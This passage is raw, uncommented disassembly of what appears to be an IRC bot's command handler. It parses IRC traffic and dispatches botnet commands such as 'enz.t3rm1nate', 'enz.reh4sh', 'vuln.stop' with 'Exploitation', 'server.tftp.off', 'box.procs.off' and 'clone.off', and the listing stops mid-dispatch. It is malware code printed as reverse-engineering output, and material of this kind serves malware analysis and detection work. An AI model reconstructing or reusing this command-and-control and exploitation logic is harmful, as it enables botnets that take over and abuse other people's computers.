		jmp	loc_4093C1
; ---------------------------------------------------------------------------


loc_4091E7:				; CODE XREF: seg000:004091B6j
		mov	esi, [ebp+20h]
		mov	dword ptr [ebp-0A4h], 2
		mov	edi, 80h


loc_4091F9:				; CODE XREF: seg000:0040921Ej
		lea	eax, [ebp-0A94h]
		push	eax
		push	esi
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409216
		mov	dword ptr [ebp-0A8h], 1


loc_409216:				; CODE XREF: seg000:0040920Aj
		add	esi, edi
		dec	dword ptr [ebp-0A4h]
		jnz	short loc_4091F9
		mov	esi, [ebp-90h]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40930D
		mov	esi, [ebp+20h]
		mov	dword ptr [ebp+2Ch], 2


loc_409245:				; CODE XREF: seg000:004092D2j
		cmp	[esi], bl
		jz	loc_4092CD
		push	7Fh
		lea	eax, [ebp-0A94h]
		push	esi
		push	eax
		call	sub_411C90
		lea	eax, [ebp-0C4h]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4092CD
		cmp	[ebp-88h], ebx
		jz	short loc_4092CD
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4092CD
		lea	eax, [ebp-0C4h]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42BFB8
		push	eax
		call	sub_4104AF
		lea	eax, [ebp-2E4h]
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407AB1
		add	esp, 20h


loc_4092CD:				; CODE XREF: seg000:00409247j
					; seg000:00409267j ...
		add	esi, edi
		dec	dword ptr [ebp+2Ch]
		jnz	loc_409245
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+18h]
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4093BE
		push	dword ptr [ebp+14h]
		mov	eax, [ebp+28h]
		push	dword ptr [ebp+10h]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_409300:				; CODE XREF: seg000:0040953Fj
					; seg000:0040980Bj
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		jmp	loc_40D809
; ---------------------------------------------------------------------------


loc_40930D:				; CODE XREF: seg000:00409235j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409453
		mov	eax, [ebp-8Ch]
		mov	esi, [ebp+20h]
		inc	eax
		mov	dword ptr [ebp+8], 2
		mov	[ebp+2Ch], eax


loc_409336:				; CODE XREF: seg000:00409388j
		lea	eax, [ebp-0A94h]
		push	eax
		push	esi
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409383
		lea	eax, [ebp-0A94h]
		push	21h
		push	eax
		call	sub_4126F0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+24h], eax
		jz	short loc_409383
		push	dword ptr [ebp+2Ch]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_411AD0
		push	dword ptr [ebp+24h]
		push	edi
		call	sub_411AE0
		add	esp, 10h
		mov	edi, 80h


loc_409383:				; CODE XREF: seg000:00409347j
					; seg000:0040935Ej
		add	esi, edi
		dec	dword ptr [ebp+8]
		jnz	short loc_409336
		lea	eax, [ebp-0C4h]
		test	eax, eax
		jz	short loc_4093BE
		cmp	[ebp+2Ch], ebx
		jz	short loc_4093BE
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4093C6
		push	0Fh
		push	dword ptr [ebp+2Ch]
		push	dword ptr [ebp+18h]
		call	sub_411C90
		add	esp, 0Ch


loc_4093BE:				; CODE XREF: seg000:00408F9Ej
					; seg000:00409034j ...
		push	1


loc_4093C0:				; CODE XREF: seg000:0040DACAj
		pop	eax


loc_4093C1:				; CODE XREF: seg000:004091E2j
					; seg000:0040C16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4093C6:				; CODE XREF: seg000:004093ACj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_4093CB:				; CODE XREF: seg000:004093ECj
		cmp	[edi], bl
		jz	short loc_4093E2
		lea	eax, [ebp-0A94h]
		push	eax
		push	edi
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4093F0


loc_4093E2:				; CODE XREF: seg000:004093CDj
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_4093CB
		jmp	short loc_4093BE
; ---------------------------------------------------------------------------


loc_4093F0:				; CODE XREF: seg000:004093E0j
		lea	eax, [ebp-0A94h]
		push	21h
		push	eax
		call	sub_4126F0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+8], eax
		jz	short loc_4093BE
		push	eax
		call	sub_410A70
		push	dword ptr [ebp+2Ch]
		mov	edi, eax
		call	sub_410A70
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_4093BE
		push	dword ptr [ebp+8]
		shl	esi, 7
		push	dword ptr [ebp+2Ch]
		add	esi, [ebp+20h]
		push	offset aSS_1	; ":%s%s"
		push	esi
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-4ACh]
		push	ebx
		push	eax
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		add	esp, 24h
		jmp	loc_4093BE
; ---------------------------------------------------------------------------


loc_409453:				; CODE XREF: seg000:0040931Cj
		push	esi
		push	offset aPart	; "PART"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409475
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40949C


loc_409475:				; CODE XREF: seg000:00409462j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40947A:				; CODE XREF: seg000:0040949Aj
		cmp	[edi], bl
		jz	short loc_409490
		push	dword ptr [ebp-94h]
		push	edi
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4094E3


loc_409490:				; CODE XREF: seg000:0040947Cj
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40947A


loc_40949C:				; CODE XREF: seg000:00409473j
		push	dword ptr [ebp-90h]
		push	offset a353	; "353"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409544
		push	dword ptr [ebp-84h]
		push	dword ptr [ebp+10h]
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4094D3
		mov	eax, [ebp+28h]
		mov	dword ptr [eax], 1


loc_4094D3:				; CODE XREF: seg000:004094C8j
		push	dword ptr [ebp-84h]
		push	offset dword_42BF58
		jmp	loc_40DF1A
; ---------------------------------------------------------------------------


loc_4094E3:				; CODE XREF: seg000:0040948Ej
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42BF24
		push	eax
		call	sub_4104AF
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407AB1
		push	dword ptr [ebp-90h]
		push	offset aPart	; "PART"
		call	sub_4117C0
		add	esp, 18h
		test	eax, eax
		jnz	loc_4093BE
		lea	eax, [ebp-2E4h]
		push	eax
		mov	eax, [ebp-94h]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_409300
; ---------------------------------------------------------------------------


loc_409544:				; CODE XREF: seg000:004094B0j
		push	dword ptr [ebp-90h]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_4117C0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_409598
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409598
		push	dword ptr [ebp-90h]
		push	offset a332	; "332"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40DD93
		cmp	ds:dword_422494, ebx
		jz	loc_40DD93


loc_409598:				; CODE XREF: seg000:0040955Ej
					; seg000:00409570j
		push	dword ptr [ebp-90h]
		push	esi
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40969E
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40969E
		mov	eax, [ebp-88h]
		inc	dword ptr [ebp-84h]
		push	4
		mov	[ebp-8Ch], eax
		pop	esi
		mov	[ebp-0ACh], esi


loc_4095DF:				; CODE XREF: seg000:0040975Aj
					; seg000:004097E0j ...
		shl	esi, 2
		mov	ecx, [ebp+esi-94h]
		lea	eax, [ebp+esi-94h]
		lea	edi, [ecx+1]
		mov	[eax], edi
		mov	al, [ecx]
		cmp	al, ds:byte_42249C
		mov	[ebp+14h], edi
		jnz	loc_4093BE
		push	edi
		push	offset aNewshit0 ; "newshit0"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DD9B
		push	edi
		push	offset dword_42BF00
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DD9B
		cmp	[ebp-0A8h], ebx
		jnz	short loc_409652
		push	dword ptr [ebp-90h]
		push	offset a332	; "332"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40DD93


loc_409652:				; CODE XREF: seg000:00409636j
		cmp	[ebp+30h], ebx
		jnz	loc_40DD93
		cmp	ds:dword_424AA4, ebx
		mov	[ebp+10h], ebx
		jle	loc_40997E
		mov	dword ptr [ebp+28h], offset dword_433E28


loc_409671:				; CODE XREF: seg000:00409697j
		push	edi
		push	dword ptr [ebp+28h]
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409810
		inc	dword ptr [ebp+10h]
		add	dword ptr [ebp+28h], 0B8h
		mov	eax, [ebp+10h]
		cmp	eax, ds:dword_424AA4
		jl	short loc_409671
		jmp	loc_40997E
; ---------------------------------------------------------------------------


loc_40969E:				; CODE XREF: seg000:004095A8j
					; seg000:004095BEj
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4096B7
		mov	dword ptr [ebp-4], 1


loc_4096B7:				; CODE XREF: seg000:004096AEj
		cmp	[ebp-8Ch], ebx
		jz	loc_4093BE
		push	(offset	loc_41E5B7+1)
		push	dword ptr [ebp-8Ch]
		call	sub_4109F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4096DE
		cmp	[ebp-4], ebx
		jz	short loc_4096EA


loc_4096DE:				; CODE XREF: seg000:004096D7j
		lea	eax, [ebp-0C4h]
		mov	[ebp-8Ch], eax


loc_4096EA:				; CODE XREF: seg000:004096DCj
		cmp	[ebp-88h], ebx
		jz	loc_4093BE
		inc	dword ptr [ebp-88h]
		jz	short loc_409736
		cmp	[ebp+18h], ebx
		jz	short loc_409736
		lea	eax, [ebp-564h]
		push	eax
		call	sub_410A70
		push	eax
		lea	eax, [ebp-564h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_411E20
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp-0ACh], esi
		jmp	short loc_40973C
; ---------------------------------------------------------------------------


loc_409736:				; CODE XREF: seg000:004096FCj
					; seg000:00409701j
		mov	esi, [ebp-0ACh]


loc_40973C:				; CODE XREF: seg000:00409734j
		mov	edi, [ebp+esi*4-94h]
		cmp	edi, ebx
		jz	loc_4093BE
		push	edi
		push	offset dword_42BEF4
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4095DF
		mov	ecx, [ebp-8Ch]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4097D1
		mov	eax, ds:dword_45E01C
		mov	eax, ds:off_422568[eax*4]
		cmp	[eax], bl
		jz	short loc_4097D1
		push	eax
		push	ecx
		push	offset dword_42BED8
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_4104AF
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407AB1
		add	esp, 20h
		cmp	[ebp-0A8h], ebx
		jnz	loc_4093BE
		push	ebx
		lea	eax, [ebp-2E4h]
		push	1
		push	eax
		push	offset dword_45DF24
		jmp	loc_40D65A
; ---------------------------------------------------------------------------


loc_4097D1:				; CODE XREF: seg000:00409769j
					; seg000:00409779j
		push	edi
		push	offset dword_42BEB4
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4095DF
		mov	eax, [ebp+esi*4-90h]
		cmp	eax, ebx
		jz	loc_4095DF
		mov	ecx, [ebp-8Ch]
		cmp	byte ptr [ecx],	23h
		jz	loc_4095DF
		push	eax
		push	ecx
		push	offset dword_42BE9C
		jmp	loc_409300
; ---------------------------------------------------------------------------


loc_409810:				; CODE XREF: seg000:0040967Ej
		push	offset asc_42C02C ; " :"
		push	dword ptr [ebp+8]
		call	sub_4109F0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_4093BE
		mov	edi, [ebp+10h]
		mov	cl, ds:byte_42249C
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, ds:byte_42249C
		mov	[eax+3], cl
		lea	ecx, dword_433E40[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_411C90
		lea	eax, [ebp+esi-54h]
		add	esp, 0Ch
		mov	dword ptr [ebp+10h], 0Fh
		mov	[ebp+28h], eax


loc_409868:				; CODE XREF: seg000:00409910j
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-0A0h]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_4104AF
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4109F0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4098D4
		mov	eax, [ebp+28h]
		cmp	[eax], ebx
		jz	short loc_4098D4
		lea	eax, dword_433E28[edi]
		push	eax
		call	sub_410A70
		add	[ebp-0Ch], eax
		pop	ecx
		jz	short loc_409906
		mov	eax, [ebp+28h]
		push	dword ptr [eax-4]
		push	dword ptr [ebp-0Ch]
		call	sub_4109F0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409906
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_406518
		add	esp, 0Ch
		jmp	short loc_409906
; ---------------------------------------------------------------------------


loc_4098D4:				; CODE XREF: seg000:00409890j
					; seg000:00409897j
		mov	eax, [ebp+28h]
		cmp	[eax], ebx
		jnz	short loc_409906
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		call	sub_411C90
		lea	eax, [ebp-14h]
		mov	[ebp-12h], bl
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_406518
		add	esp, 18h


loc_409906:				; CODE XREF: seg000:004098A9j
					; seg000:004098BDj ...
		dec	dword ptr [ebp+10h]
		sub	dword ptr [ebp+28h], 4
		cmp	[ebp+10h], ebx
		jg	loc_409868
		lea	eax, [ebp+esi-54h]
		mov	dword ptr [ebp+10h], 10h
		mov	edi, eax


loc_409923:				; CODE XREF: seg000:0040996Fj
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-0A0h]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_4104AF
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4109F0
		add	esp, 14h
		test	eax, eax
		jz	short loc_409966
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_409966
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_406518
		add	esp, 0Ch


loc_409966:				; CODE XREF: seg000:0040994Bj
					; seg000:00409951j
		dec	dword ptr [ebp+10h]
		sub	edi, 4
		cmp	[ebp+10h], ebx
		jg	short loc_409923
		mov	edi, [ebp+14h]
		mov	dword ptr [ebp-0C8h], 1


loc_40997E:				; CODE XREF: seg000:00409664j
					; seg000:00409699j
		mov	al, [edi]
		cmp	al, ds:byte_42249C
		jz	short loc_409994
		cmp	[ebp-0C8h], ebx
		jz	loc_409B79


loc_409994:				; CODE XREF: seg000:00409986j
		push	dword ptr [ebp+18h]
		mov	edi, [ebp+8]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_406518
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_406518
		push	dword ptr [ebp-8Ch]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_406518
		push	ebx
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40F699
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_406518
		add	esp, 40h
		push	dword ptr [ebp+1Ch]
		push	offset aServer_2 ; "$server"
		push	edi
		call	sub_406518
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	dword ptr [ebp+8]
		call	sub_4109F0
		add	esp, 14h


loc_409A06:				; CODE XREF: seg000:00409AF2j
		test	eax, eax
		jz	loc_409AF7
		push	edi
		push	dword ptr [ebp+8]
		call	sub_4109F0
		mov	[ebp+18h], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_411C90
		lea	eax, [ebp-0A0h]
		push	offset asc_42BE5C ; ")"
		push	eax
		call	sub_411BC0
		add	esp, 1Ch
		cmp	byte ptr [ebp-0A0h], 30h
		jl	short loc_409A52
		cmp	byte ptr [ebp-0A0h], 39h
		jle	short loc_409A68


loc_409A52:				; CODE XREF: seg000:00409A47j
		push	3
		lea	eax, [ebp-0A0h]
		push	offset a63	; "63"
		push	eax
		call	sub_411C90
		add	esp, 0Ch


loc_409A68:				; CODE XREF: seg000:00409A50j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_41098F
		test	eax, eax
		pop	ecx
		jle	short loc_409A8B
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_41098F
		pop	ecx
		mov	[ebp-14h], al
		jmp	short loc_409A9C
; ---------------------------------------------------------------------------


loc_409A8B:				; CODE XREF: seg000:00409A77j
		call	sub_41084F
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp-14h], dl


loc_409A9C:				; CODE XREF: seg000:00409A89j
		lea	eax, [ebp-0A0h]
		mov	[ebp-13h], bl
		push	eax
		call	sub_410A70
		mov	[ebp+10h], eax
		push	0Ch
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_410870
		mov	eax, [ebp+10h]
		add	eax, 6
		push	eax
		lea	eax, [ebp-0A0h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_411C90
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_406518
		push	edi
		push	dword ptr [ebp+8]
		call	sub_4109F0
		add	esp, 30h
		jmp	loc_409A06
; ---------------------------------------------------------------------------


loc_409AF7:				; CODE XREF: seg000:00409A08j
		mov	edi, 1FFh
		lea	eax, [ebp-0F9Ch]
		push	edi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_411C90
		lea	eax, [ebp-0F9Ch]
		push	edi
		push	eax
		lea	eax, [ebp-119Ch]
		push	eax
		call	sub_411C90
		lea	eax, [ebp-119Ch]
		push	offset asc_41E954 ; " "
		push	eax
		call	sub_411BC0
		add	esp, 20h
		mov	[ebp-94h], eax
		lea	edi, [ebp-90h]
		mov	dword ptr [ebp+18h], 1Fh


loc_409B47:				; CODE XREF: seg000:00409B5Cj
		push	offset asc_41E954 ; " "
		push	ebx
		call	sub_411BC0
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp+18h]
		pop	ecx
		jnz	short loc_409B47
		mov	ecx, [ebp+esi-94h]
		lea	eax, [ebp+esi-94h]
		cmp	ecx, ebx
		jz	loc_4093BE
		add	ecx, 3
		mov	[eax], ecx


loc_409B79:				; CODE XREF: seg000:0040998Ej
		mov	edi, [ebp+esi-94h]
		push	edi
		push	offset aEnz_rndnick ; "enz.rndnick"
		mov	[ebp+18h], edi
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DD46
		push	edi
		push	offset aEnz_rn	; "enz.rn"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DD46
		push	edi
		push	offset aEnz_endsess ; "enz.endsess"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DD24
		push	edi
		push	offset aEnz_d	; "enz.d"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DD24
		push	edi
		push	offset aEnz_logout ; "enz.logout"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DC79
		push	edi
		push	offset aEnz_lo	; "enz.lo"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DC79
		push	edi
		push	offset aEnz_version ; "enz.version"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DC6A
		push	edi
		push	offset aEnz_ver	; "enz.ver"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DC6A
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DB6C
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DB6C
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DB6C
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DB6C
		push	edi
		push	offset aServer_rlogin_ ; "server.rlogin.off"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409CA8
		push	dword ptr [ebp+esi-90h]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_42BDB0
		jmp	loc_40DB50
; ---------------------------------------------------------------------------


loc_409CA8:				; CODE XREF: seg000:00409C8Ej
		push	edi
		push	offset dword_42BDA0
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409CD1
		push	dword ptr [ebp+esi-90h]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_42BD94
		jmp	loc_40DB50
; ---------------------------------------------------------------------------


loc_409CD1:				; CODE XREF: seg000:00409CB7j
		push	edi
		push	offset dword_42BD8C
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409CFA
		push	dword ptr [ebp+esi-90h]
		push	1Ch
		push	offset dword_42BD80
		push	offset dword_42BD74
		jmp	loc_40DB50
; ---------------------------------------------------------------------------


loc_409CFA:				; CODE XREF: seg000:00409CE0j
		push	edi
		push	offset aServer_redirec ; "server.redirect.off"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409D23
		push	dword ptr [ebp+esi-90h]
		push	10h
		push	offset dword_42BD50
		push	offset dword_42BD40
		jmp	loc_40DB50
; ---------------------------------------------------------------------------


loc_409D23:				; CODE XREF: seg000:00409D09j
		push	edi
		push	offset dword_42BD34
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409D4C
		push	dword ptr [ebp+esi-90h]
		push	0Ah
		push	offset dword_42BD28
		push	offset dword_42BD1C
		jmp	loc_40DB50
; ---------------------------------------------------------------------------


loc_409D4C:				; CODE XREF: seg000:00409D32j
		push	edi
		push	offset dword_42BD0C
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409D75
		push	dword ptr [ebp+esi-90h]
		push	0Bh
		push	offset dword_42BD00
		push	offset dword_42BCF4
		jmp	loc_40DB50
; ---------------------------------------------------------------------------


loc_409D75:				; CODE XREF: seg000:00409D5Bj
		push	edi
		push	offset dword_42BCE4
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409D9E
		push	dword ptr [ebp+esi-90h]
		push	0Fh
		push	offset dword_42BCD8
		push	offset dword_42BCCC
		jmp	loc_40DB50
; ---------------------------------------------------------------------------


loc_409D9E:				; CODE XREF: seg000:00409D84j
		push	edi
		push	offset dword_42BCBC
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409DC7
		push	dword ptr [ebp+esi-90h]
		push	0Eh
		push	offset dword_42BCB0
		push	offset dword_42BCA4
		jmp	loc_40DB50
; ---------------------------------------------------------------------------


loc_409DC7:				; CODE XREF: seg000:00409DADj
		push	edi
		push	offset aServer_tftp_of ; "server.tftp.off"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409DF0
		push	dword ptr [ebp+esi-90h]
		push	4
		push	offset aServer	; "Server"
		push	offset dword_42BC88
		jmp	loc_40DB50
; ---------------------------------------------------------------------------


loc_409DF0:				; CODE XREF: seg000:00409DD6j
		push	edi
		push	offset aBox_findfile_o ; "box.findfile.off"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DB3D
		push	edi
		push	offset aBox_ff_off ; "box.ff.off"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DB3D
		push	edi
		push	offset aBox_procs_off ;	"box.procs.off"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DB28
		push	edi
		push	offset aBox_ps_off ; "box.ps.off"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DB28
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409E6D
		push	dword ptr [ebp+esi-90h]
		push	17h
		push	offset aClone	; "Clone"
		push	offset dword_42BC28
		jmp	loc_40DB50
; ---------------------------------------------------------------------------


loc_409E6D:				; CODE XREF: seg000:00409E53j
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409E96
		push	dword ptr [ebp+esi-90h]
		push	19h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42BC00
		jmp	loc_40DB50
; ---------------------------------------------------------------------------


loc_409E96:				; CODE XREF: seg000:00409E7Cj
		push	edi
		push	offset aVuln_stop ; "vuln.stop"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409EBF
		push	dword ptr [ebp+esi-90h]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40DB50
; ---------------------------------------------------------------------------


loc_409EBF:				; CODE XREF: seg000:00409EA5j
		push	edi
		push	offset aVuln_stats ; "vuln.stats"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DB12
		push	edi
		push	offset aVuln_st	; "vuln.st"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DB12
		push	edi
		push	offset aEnz_reh4sh ; "enz.reh4sh"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DAF1
		push	edi
		push	offset aEnz_rh4	; "enz.rh4"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DAF1
		push	edi
		push	offset aEnz_endt3rm ; "enz.endt3rm"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DACF
		push	edi
		push	offset aEnz_et3	; "enz.et3"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DACF
		push	edi
		push	offset aEnz_t3rm1nate ;	"enz.t3rm1nate"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA87
		push	edi
		push	offset aEnz_t3rm1 ; "enz.t3rm1"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA87
		push	edi
		push	offset aEnz_status ; "enz.status"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA49
		push	edi
		push	offset aEnz_s	; "enz.s"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA49
		push	edi
		push	offset aEnz_id	; "enz.id"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA12
		push	edi
		push	offset aEnz_i	; "enz.i"
